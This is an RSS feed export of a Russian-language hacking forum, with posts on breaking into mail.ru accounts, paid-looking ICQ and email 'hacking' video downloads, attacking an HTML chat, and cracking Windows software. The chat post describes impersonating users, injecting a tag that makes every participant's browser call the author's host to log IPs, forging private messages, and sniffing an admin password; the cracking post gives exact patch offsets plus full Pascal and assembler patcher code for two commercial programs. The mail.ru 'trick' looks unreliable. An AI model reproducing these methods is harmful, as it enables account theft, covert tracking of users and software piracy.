<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://viktoro2007.apbb.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>Viking</title>
		<link>https://viktoro2007.apbb.ru/</link>
		<description>Viking</description>
		<language>ru-ru</language>
		<lastBuildDate>Sat, 05 May 2012 16:38:57 +0400</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Как правильно взломать почтовый ящик на MAIL.RU</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=43#p43</link>
			<description>&lt;p&gt;На самом деле,пароль легко взломать просто надо уметь. Поработав немного в инете, взломал мэйл.&lt;br /&gt;Отправляешь письмо на parolremind@mail.ru&lt;br /&gt;это робот,напоминающий забытые пароли&lt;br /&gt;Вместо темы пишешь login=vasya_pupkin@mail.ru&amp;amp;pass=&amp;amp;answer=%20%login=hacker@mail.ru&amp;amp;pass=qwerty&amp;amp;answer=&lt;br /&gt;где vasya_pupkin -это мыло который ты хочешь взломать а hacкer@mail.ru это твой твой логин&lt;br /&gt;qwerty-это твой пароль. Дело в том,что послав это письмо робот определяет что ты действительно зарегистрирована, но вместо твоего пароля он отправляет пароль твоей жертвы, всё просто&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Hackermaker)</author>
			<pubDate>Sat, 05 May 2012 16:38:57 +0400</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=43#p43</guid>
		</item>
		<item>
			<title>Как взломать ICQ(аскьку)?????</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=42#p42</link>
			<description>&lt;p&gt;Взлом ICQ(Аськи),видеоурок взлома + снифер к видео,100% взлом,размер файла:10.54 MB , ссылка для скачивания: &lt;a href=&quot;http://depositfiles.com/ru/files/ifhwpvqwz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://depositfiles.com/ru/files/ifhwpvqwz&lt;/a&gt; .&lt;/p&gt;</description>
			<author>mybb@mybb.ru (wwwmaster)</author>
			<pubDate>Sun, 19 Apr 2009 09:09:21 +0400</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=42#p42</guid>
		</item>
		<item>
			<title>Как взломать почту на mail.ru,yandex.ru?????</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=41#p41</link>
			<description>&lt;p&gt;Взлом почты на mail.ru,yandex.ru: 2 видеоурока,100% взлом,проверено,размер файла: 10.56 MB, ссылка для скачивания : &lt;a href=&quot;http://depositfiles.com/ru/files/ml6r37gpc&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://depositfiles.com/ru/files/ml6r37gpc&lt;/a&gt; .&lt;/p&gt;</description>
			<author>mybb@mybb.ru (wwwmaster)</author>
			<pubDate>Sun, 19 Apr 2009 09:08:15 +0400</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=41#p41</guid>
		</item>
		<item>
			<title>Взлом удалённого компьютера через интернет</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=40#p40</link>
			<description>&lt;p&gt;Подскажите, пожалуйста где я могу скачать&amp;#160; ниже указанные программы, спасибо!&lt;br /&gt;Windows 2k&lt;br /&gt;сканер Essential Net Tools v3.0&lt;br /&gt;&amp;#160; HakTek v1.1&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Andri)</author>
			<pubDate>Mon, 16 Jun 2008 23:08:54 +0400</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=40#p40</guid>
		</item>
		<item>
			<title>О &quot;взломах&quot; html-чатов</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=39#p39</link>
			<description>&lt;p&gt;О &amp;quot;взломах&amp;quot; html-чатов &lt;/p&gt;
						&lt;p&gt;Я предполагаю, что читатель знает, что такое CGI, и на этом построю своё объяснение. &lt;/p&gt;
						&lt;p&gt;Начал я с малого. &lt;/p&gt;
						&lt;p&gt;В любом чате фрейм, в котором ты пишешь сообщения, генерится динамически (для каждого входящего) и, возможно, содержит несколько скрытых полей. Типа &amp;lt;input type=hidden name=cookie value=SP202134&amp;gt; (так в партизанах хранится UserID) &lt;/p&gt;
						&lt;p&gt;Идея в следующем: сохраняем содержимое этого фрейма на диске и исправляем его так, что бы можно было с ним работать со своего винта. Т.е. заменяем ссылки типа /cgi-bin/refresh.pl на полный путь wwwchat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы пишем типа &amp;lt;input type=text name=cookie value=SP202134&amp;gt; (что бы можно было их изменять) После этого делаем HTML документ для &amp;quot;сборки чата&amp;quot; из кусков. Т.е. примерно так &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;&amp;quot;First.htm&amp;quot;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;frameset rows=&amp;quot;80%,20%&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;frameset cols=&amp;quot;70%,30%&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;lt;frame name=&amp;quot;razg&amp;quot; src=&amp;quot;http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;lt;frame name=&amp;quot;rigt&amp;quot; src=&amp;quot;http://www.chat.nsk.su/right.html&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;/frameset&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;frame name=&amp;quot;bot&amp;quot; src=&amp;quot;start.htm&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;/frameset&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;
						&lt;p&gt;Start.htm - это и есть тот фрейм который я сохранил и изменил &lt;/p&gt;
						&lt;p&gt;После этого я просто броузером открывал эту страницу (First.htm). И сразу(!!!) попадал в чат, минуя стандартную процедуру входа. Это позволило : &lt;br /&gt;1. Обходить зарегистрированные имена &lt;br /&gt;2. Прятать свой IP от киллеров, за счет взятия чужого ID&#039;a &lt;/p&gt;
						&lt;p&gt;Дальше мне стало интересно вычислить IP участников. Я обнаружил, что не запрещён тэг &amp;lt;bgsound src=&amp;quot;&amp;quot;&amp;gt;. Это позволило вставлять в своё сообщение ресурс со своей машины. Сам по себе звук на хер не нужен, но этот косяк позволил вставить в свой месс строку типа &amp;lt;bgsound src=&amp;quot;http://MyIP/cgi-bin/spy.exe&amp;quot;&amp;gt;. Этот скрипт (spy.exe) вызывался с машины КАЖДОГО участника чата. Это позволило увидеть IP всех (скрипт просто сохранял мне на винт данные из переменной окружения REMOTE_ADDR). Это мне не очень понравилось, тк не понятно было где чей IP. Примерно в это-же время в чате появились приваты. Это значит, что документ в главном фрейме (тот где мессы все) стал называться по другому. &lt;/p&gt;
						&lt;p&gt;До приватов : &lt;br /&gt;&lt;a href=&quot;http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.chat.nsk.su/cgi-bin/refresh. &amp;#8230; zgovor#end&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;После появления приватов : &lt;br /&gt;&lt;a href=&quot;http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.chat.nsk.su/cgi-bin/refresh. &amp;#8230; 345678#end&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;Где SP456789 - UserID &lt;/p&gt;
						&lt;p&gt;После этого в скрипт (spy.exe) был добавлен вывод ID&#039;a из переменной окружения HTTP_REFERER Ну а сопоставить ник с ID&#039;ом не проблемма, тк ID каждого прописан там же примерно в такой строке &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&amp;lt;font color=yellow size=-1&amp;gt;Тут ник&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;font color=black&amp;gt;&amp;lt;a href=&amp;quot;/cgi-bin/private_form.cgi?SP448188&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;img src=/img/mes.gif border=0 vspace=0&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&lt;/p&gt;
						&lt;p&gt;(Это строка взята из правого фрейма, где можно вызвать функцию &amp;quot;Кто в чате&amp;quot;) &lt;/p&gt;
						&lt;p&gt;После этого перестало быть проблемой сопоставление ника и IP. Затем я решил позабавиться с приватами. &lt;/p&gt;
						&lt;p&gt;Используя метод сохранения странички на винт (описанный выше), я получил форму для отправления приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом приватно сообщении проставлять имя отправителя. &lt;/p&gt;
						&lt;p&gt;Осталось только одно. Я знал, что в чате есть киллеры, но ничего не знал про то, что это, где это, как это. Знал только, что для того, чтобы киллерствовать надо зайти на какую-то страничку. Очевидно, что в этой киллерской страничке показываются имена. Я предположил, что моё имя показываются таким, каким я его ввожу. Исходя из этого, я под именем &amp;lt;bgsound src=&amp;quot;http://MyIP/cgi-bin/spy.exe&amp;quot;&amp;gt; MyNick зашел в чат (через прокси), и начал легонько ругаться (мне надо было, чтобы киллеры зашли на свою страничку). После этого (когда меня убили) я разгреб лог моего ВебСервера (OmniHTTPd beta) и увидел там обращение со страници не относящейся к известным мне страницам чата. Я полез на эту страницу и получил запрос на ввод пароля, со словами &amp;quot;Дорогой администратор...&amp;quot;. Это приятно согрело душу. Дальше я начал думать, то ли подобрать пароль, то ли ещё что придумать. Но ситуация так сложилась, что я оказался в одной сети с киллером, и, запустив сниффер, я поимел пароль. &lt;/p&gt;
						&lt;p&gt;Ну вот и все.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Sun, 16 Dec 2007 18:26:48 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=39#p39</guid>
		</item>
		<item>
			<title>ВЗЛОМ WINDOWS-ПРИЛОЖЕНИЙ</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=38#p38</link>
			<description>&lt;p&gt;ВЗЛОМ WINDOWS-ПРИЛОЖЕНИЙ&lt;/p&gt;
						&lt;p&gt;Для начала я научу вас пользоваться W32Dasm. Я не хочу вам давать детальную помощь, как делать краки, но я могу научить вас самим добывать себе умения и навыки взлома.&lt;br /&gt;Когда вы используете W32Dasm, знайте, что он не даст вам серийные номера или коды, он лишь покажет путь, где находится место, где можно эти номера вводить. То, что я делаю каждый день при взломе программ, будет описано в этом справочнике, шаг за шагом.&lt;/p&gt;
						&lt;p&gt;ИНСТРУМЕНТЫ :&lt;br /&gt;из инструментов взлома вам нужно следующее : W32Dasm 8.5 или боолее позднюю версию, Hacker&#039;s View 5.24, Norton Commander (я позднее объясню, почему я его использую).&lt;br /&gt;Turbo Pascal 7.0&lt;br /&gt;TASM и TLINK 3.0&lt;/p&gt;
						&lt;p&gt;ЧАСТЬ 1 : Как кракнуть Quick View Plus 4.0&lt;/p&gt;
						&lt;p&gt;Шаг 1. Запустите ORDER32.EXE&lt;/p&gt;
						&lt;p&gt;Шаг 2. Кликните на $49 Single User License (вы можете кликнуть и на $59), затем ACCEPT, потом UNLOCK BY PHONE.&lt;/p&gt;
						&lt;p&gt;Шаг 3. Введите любой код для получения сообщения об ошибке (вы должны записать это сообщение), потом выйдите из программы, кликнув на CANCEL.&lt;/p&gt;
						&lt;p&gt;Шаг 4. Запустите Norton Comander, перейдите в директорию QVP.&lt;/p&gt;
						&lt;p&gt;Шаг 5. Скопируйте ORDER32.EXE в ORDER32.EXX (для&amp;#160; сохранности), а затем скопируйте&amp;#160; ORDER32.EXE в 1.EXE&lt;br /&gt;(для&amp;#160; &amp;#160; использования в W32Dasm).&lt;/p&gt;
						&lt;p&gt;Шаг 6. Запустите W32Dasm и раздессимблируйте 1.EXE.&lt;/p&gt;
						&lt;p&gt;Шаг 7. После этого, кликните на STRING DATA REFERENCE, найдите там сообщение &amp;quot;You have entered an incorrect code.Please check your entry&amp;quot; (вы должны помнить,что это было сообщение об ошибке) и дважды щелкните мышью по нему.&lt;/p&gt;
						&lt;p&gt;Шаг 8. Закройте SDR окно. Вы должны увидеть сообщение:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; * Possible reference to String Resource ID=00041: &amp;quot;You have entered...&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; :004049F8 6A29 push 00000029&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; :004049FA FF353CCE4000 push dword ptr [0040CE3C]&lt;/p&gt;
						&lt;p&gt;Шаг 9. ОК, теперь вы должны найти последнее сравнение типа CMP,JNE, JE,TEST и т.д. перед сообщением об ошибке.&lt;br /&gt;Нажимайте стрелку &amp;quot;вверх&amp;quot;, пока не найдете :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; :004049CD 755A jne 00404A29&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; * Possible reference to String Resource ID=00032: &amp;quot;You must select...&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; :004049CF 6A20 push 00000020&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ...&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ...&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; * Possible reference to String Resource ID=00040: &amp;quot;Unlock Error&amp;quot;&lt;/p&gt;
						&lt;p&gt;Шаг 10. Теперь вы знаете, куда идет скачок при введении неправильного кода. Теперь можно посмотреть, что произойдет, если &amp;quot;jne&amp;quot; на &amp;quot;je&amp;quot;. Убедитесь, что зеленая полоска находится на надписи:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;004049CD 755A jne 00404A29, вы должны увидеть&amp;#160; Offset address внизу на статусной строке типа&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;@Offset 00003DCDh Это место, где вы можете внести изменения в ORDER32.EXE.&lt;/p&gt;
						&lt;p&gt;Шаг 11. Перейдите обратно в Norton Commander, запустите HIEW ORDER32.EXE, нажмите&amp;#160; F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите 3DCD.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;Вы должны увидеть следующее :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;00003DCD: 755A jne 000003E29&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;00003DCF: 6A20 push 020&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;00003DD1: FF15 call w,[di]&lt;/p&gt;
						&lt;p&gt;Шаг 12. Это то место, где вы можете изменить байты, нажмите F3, введите 74, нажмите F9 для обновления ORDER32.EXE. Выйдите из HIEW.&lt;/p&gt;
						&lt;p&gt;Шаг 13. Запустите ORDER32.EXE, введите любой код. Ура ! Мы сломали QVP 4.0 !&lt;br /&gt;Но ! Что будет, если ввести настоящий серийный номер ? Появляется сообщение об ошибке ! Что это ?&lt;/p&gt;
						&lt;p&gt;Шаг 14. Снова запустиите HIEW ORDER32.EXE, нажмите F4, выберите Decode, нажмите F5&amp;#160; и введите 3DCD. Нажмите F3, введите EB, нажмите F9. Вы прямо &amp;quot;прыгнете&amp;quot; на Unlocked диалог.&lt;/p&gt;
						&lt;p&gt;ЧАСТЬ 2 : Как кракнуть Hex WorkShop 2.51&lt;/p&gt;
						&lt;p&gt;Шаг 1. Запустите HWORKS32.EXE&lt;/p&gt;
						&lt;p&gt;Шаг 2. Кликните на HELP, About HEX Wo..&lt;/p&gt;
						&lt;p&gt;Шаг 3. Введите любой код, чтобы получить сообщение об ошибке (вы должны записать это&amp;#160; сообщение) и выйдите из программы.&lt;/p&gt;
						&lt;p&gt;Шаг 4. Запустите Norton Commander, перейдите в директорию HWS. &lt;/p&gt;
						&lt;p&gt;Шаг 5. Скопируйте файл HWORKS32.EXE в HWORKS32.EXX &lt;br /&gt;(для сохранности) и скопируйте файл HWORKS32.EXE в 1.EXE (для использования в W32Dasm).&lt;/p&gt;
						&lt;p&gt;Шаг 6. Запустите W32Dasm и &amp;quot;разберите&amp;quot; 1.EXE.&lt;/p&gt;
						&lt;p&gt;Шаг 7. После этого, нажмите мышью на FIND TEXT, введите &lt;br /&gt;&amp;quot;You have entered an&amp;quot; (вы должны помнить, что это&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;сообщение об ошибочно введенном серийном номере) и найдите соответствующую строку (вы не сможете сделать это в SDR-окне !)&lt;/p&gt;
						&lt;p&gt;Шаг 8. Вы должны увидеть следующую строку :&lt;br /&gt;Name: DialogID_0075, # of Controls=003, Caption:&lt;br /&gt;&amp;quot;Registration Unsucce..&lt;br /&gt;001-ControlID:FFFF, Control Class:&amp;quot;&amp;quot;Control Text:&amp;quot;You have entered an..&lt;br /&gt;002-ControlID:FFFF, Control Class:&amp;quot;&amp;quot;Control Text:&amp;quot;Please confirm you..&lt;/p&gt;
						&lt;p&gt;Шаг 9. Оk, теперь вы знаете, что ControlID будет использоваться, когда вы введете&amp;#160; неверный код. Кликните FIND TEXT, введите &amp;quot;dialogid_0075&amp;quot; и вы найдете:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; * Possible reference to DialogID_0075&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; :0041E233 6A75 push 00000075&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; :0041E235 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]&lt;/p&gt;
						&lt;p&gt;Шаг 10. Теперь вы должны поискать последнюю ссылку, типа&lt;br /&gt;CMP, JNE, JE и пр. перед диалогом об ошибке. Нажимайте клавишу &amp;quot;вверх&amp;quot;, пока не найдете :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:0041E145 837DEC00 cmp dword ptr [ebp-14], 00000000&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:0041E149 0F8479000000 je 0041E1C8&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:0041E14F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]&lt;/p&gt;
						&lt;p&gt;Шаг 11. Теперь вам нужно посмотреть, что произойдет, если &amp;quot;je&amp;quot; заменить на &amp;quot;jne&amp;quot;. Убедитесь, что зеленая полоска установлена на строке &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:0041E149 0F8479000000 je 0041E1C8.&lt;br /&gt;Вы должны на нижней статусной строке увидеть оффсетный адрес, типа : @Offset0001D549h. Это то место, где вы сможете кракнуть HWORKS32.EXE&lt;/p&gt;
						&lt;p&gt;Шаг 12. Перейдите обратно в Norton Commander, запустите HIEW HWORKS32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите&amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ID549.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Вы должны увидеть следующее :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; 0001D549: 0F847900 je 00001D5C6 ---------- (1)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; 0001D54D: 0000 add [bx][si],al&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; 0001D54F: 8B8DFCFE mov cx,[di][0FEFC]&lt;/p&gt;
						&lt;p&gt;Шаг 13. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите&amp;#160; 0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.&lt;br /&gt;Шаг 14. Запустите HWORKS32.EXE и введите любой код, работает ? НЕТ !?!??!?!&lt;br /&gt;Хе-хе-хе... Не волнуйтесь ! Снова перейдите в Нортон. &lt;br /&gt;Скопируйте HWORKS32.EXX в HWORKS32.EXE (теперь&lt;br /&gt;вы видите, почему я делаю копию файла с расширением&lt;br /&gt;ЕХХ&amp;#160; для сохранности). Теперь перейдите в W32Dasm, вы&lt;br /&gt;должны перейти туда, где только что были (на 0041У145).&lt;/p&gt;
						&lt;p&gt;Шаг 15. Нажмите F3 для очередного поиска &amp;quot;DialogID_0075&amp;quot;, вы должны найти :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;* Possible reference to DialogID_0075&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:00430ADD 6A75 push 00000075&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:00430ADF 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]&lt;/p&gt;
						&lt;p&gt;Шаг 16. Ok, теперь вы теперь можете посмотреть на последние ссылки, типа CMP, JNE,&amp;#160; JE и т.д. перед диалогом об ошибке. Нажимайте стрелку вверх, пока не найдете :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:004309EF 837DEC00 cmp dword ptr [ebp-14], 00000000&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:004309F3 0F8479000000 je 00430A72&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;:004309F9 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]&lt;/p&gt;
						&lt;p&gt;Шаг 17. Теперь вы можете посмотреть, что произойдет, если &amp;quot;je&amp;quot; заменить на &#039;jne&amp;quot;. (это должно сработать). Переместите&lt;br /&gt;полоску на :004309F3 0F8479000000 je 00430A72. На статусной строке внизу экрана вы&amp;#160; должны следующее:&lt;br /&gt;@Offset0002FDF3h (оффсетный адрес). Это то место, где&lt;br /&gt;вы сможете кракнуть HWORKS32.EXE.&lt;/p&gt;
						&lt;p&gt;Шаг 18. Перейдите в Norton Commander, запустите HIEW&lt;br /&gt;HWORKS32.EXE, нажмите F4 для&amp;#160; выбора Decode Mode &lt;br /&gt;(ASM), нажмите F5 и введите 2FDF3. Вы должны увидеть:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;0002FDF3: 0F847900 je 00001D5C6 ---------- (1)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;0002FDF7: 0000 add [bx][si],al&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;0002FDF9: 8B8DFCFE mov cx,[di][0FEFC]&lt;/p&gt;
						&lt;p&gt;Шаг 19. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите&amp;#160; 0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.&lt;br /&gt;Шаг 20. Запустите снова HWORKS32.EXE и введите любой код. Работает ? Виола !!!&amp;#160; Поздравляю !!! Вы кракнули HEX&lt;br /&gt;WorkShop 2.51 !&lt;/p&gt;
						&lt;p&gt;ЧАСТЬ 3 :Как сделать собственный патч&lt;/p&gt;
						&lt;p&gt;Здесь напечатан исходный код на Паскале :&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; ------------------------&amp;lt;cut here&amp;gt;-------------------------------------------&lt;br /&gt;Uses Crt;&lt;/p&gt;
						&lt;p&gt;Const A: Array[1..1] of Record {&amp;lt;-------- 1 byte to be patched}&lt;br /&gt;A : Longint;&lt;br /&gt;B : Byte;&lt;/p&gt;
						&lt;p&gt;End =&lt;br /&gt;((A:$3DCD;B:$EB)); {&amp;lt;--------------- offset &amp;quot;3DCD&amp;quot; and byte &amp;quot;EB&amp;quot; to be changed}&lt;/p&gt;
						&lt;p&gt;Var Ch:Char;&lt;br /&gt;I:Byte;&lt;br /&gt;F:File;&lt;br /&gt;FN:file of byte;&lt;br /&gt;Size:longint;&lt;/p&gt;
						&lt;p&gt;Begin&lt;br /&gt;Writeln(&#039;TKC&#039;&#039;s Little Patch&#039;);writeln(&#039;Crack for QVP 4.0 by TKC/PC &#039;&#039;97&#039;);&lt;br /&gt;Assign(F,&#039;ORDER32.EXE&#039;); {&amp;lt;-------------- filename to be patched}&lt;br /&gt;{$I-} Reset(F,1); {$I+}&lt;br /&gt;If IOResult &amp;lt;&amp;gt; 0 then&lt;br /&gt;begin&lt;br /&gt;writeln(&#039;File not found!&#039;);&lt;br /&gt;halt(1);&lt;br /&gt;end;&lt;br /&gt;For I:=1 to 1 do {&amp;lt;---------------------- 1 byte to be patched}&lt;/p&gt;
						&lt;p&gt;Begin&lt;br /&gt;Seek(F,A[i].A);&lt;br /&gt;Ch:=Char(A[i].B);&lt;br /&gt;Blockwrite(F,Ch,1);&lt;br /&gt;End;&lt;br /&gt;Writeln(&#039;File successfully patched!&#039;);&lt;br /&gt;End.&lt;br /&gt;------------------------&amp;lt;cut here&amp;gt;-------------------------------------------&lt;/p&gt;
						&lt;p&gt;Here&#039;s the source code for Assembler:&lt;/p&gt;
						&lt;p&gt;------------------------&amp;lt;cut here&amp;gt;-------------------------------------------&lt;br /&gt;DOSSEG&lt;br /&gt;.MODEL SMALL&lt;br /&gt;.STACK 500h&lt;br /&gt;.DATA&lt;br /&gt;.CODE&lt;br /&gt;PatchL EQU 6&lt;br /&gt;Buffer Db PatchL Dup(1)&lt;br /&gt;handle dw ?&lt;br /&gt;intro db &amp;quot;TKC&#039;s Little Patch&amp;quot;,0dh,0ah,&amp;quot;Crack for QVP 4.0 by TKC/PC &#039;97$&amp;quot;&lt;/p&gt;
						&lt;p&gt;FileName db &amp;quot;ORDER32.EXE&amp;quot;,0 ;&amp;lt;------- filename to be patched&lt;br /&gt;notfound db 0dh,0ah,&amp;quot;File not found!$&amp;quot;&lt;br /&gt;cracked db 0dh,0ah,&amp;quot;File successfully patched. Enjoy!$&amp;quot;&lt;br /&gt;Cant db 0dh,0ah,&amp;quot;Can&#039;t write to file.$&amp;quot;&lt;br /&gt;Done db &amp;quot;File has been made.$&amp;quot;&lt;br /&gt;String db 0EBh,0 ;&amp;lt;------------- byte &amp;quot;EB&amp;quot; to be patched&lt;/p&gt;
						&lt;p&gt;START:&lt;br /&gt;mov ax,cs&lt;br /&gt;mov ds,ax&lt;br /&gt;mov dx,offset intro ;point to the time prompt&lt;br /&gt;mov ah,9 ;DOS: print string&lt;br /&gt;int 21h&lt;br /&gt;jmp openfile&lt;/p&gt;
						&lt;p&gt;openfile:&lt;/p&gt;
						&lt;p&gt;mov ax,cs&lt;br /&gt;mov ds,ax&lt;br /&gt;mov ax,3d02h&lt;br /&gt;mov dx,offset FileName&lt;br /&gt;int 21h&lt;br /&gt;mov handle,ax&lt;br /&gt;cmp ax,02h&lt;br /&gt;je filedontexist&lt;br /&gt;jmp write&lt;/p&gt;
						&lt;p&gt;filedontexist:&lt;br /&gt;mov ax,cs&lt;br /&gt;mov ds,ax&lt;br /&gt;mov dx,offset notfound&lt;br /&gt;mov ah,9 ;DOS: print string&lt;br /&gt;int 21h ;display the time prompt&lt;br /&gt;jmp exit&lt;/p&gt;
						&lt;p&gt;Write:&lt;br /&gt;mov bx,handle&lt;br /&gt;mov cx,0000h&lt;br /&gt;mov dx,3DCDh ;&amp;lt;------------- offset &amp;quot;3DCD&amp;quot;&lt;br /&gt;mov&amp;#160; &amp;#160; ax,4200h&lt;br /&gt;int 21h&lt;/p&gt;
						&lt;p&gt;mov cx,patchl&lt;br /&gt;mov dx,offset String&lt;br /&gt;mov ah,40h&lt;br /&gt;mov cx,01h&lt;br /&gt;int 21h&lt;br /&gt;mov ax,cs&lt;br /&gt;mov ds,ax&lt;br /&gt;mov dx,offset cracked&lt;br /&gt;mov ah,9 ;DOS: print string&lt;br /&gt;int 21h ;display the time prompt&lt;br /&gt;jmp Exit&lt;/p&gt;
						&lt;p&gt;Exit:&lt;br /&gt;mov ah,3eh&lt;br /&gt;int 21h&lt;br /&gt;mov ax,4c00h&lt;br /&gt;int 21h&lt;br /&gt;END START&lt;br /&gt;--------------------------&amp;lt;cut here&amp;gt;-----------------------------------------&lt;/p&gt;
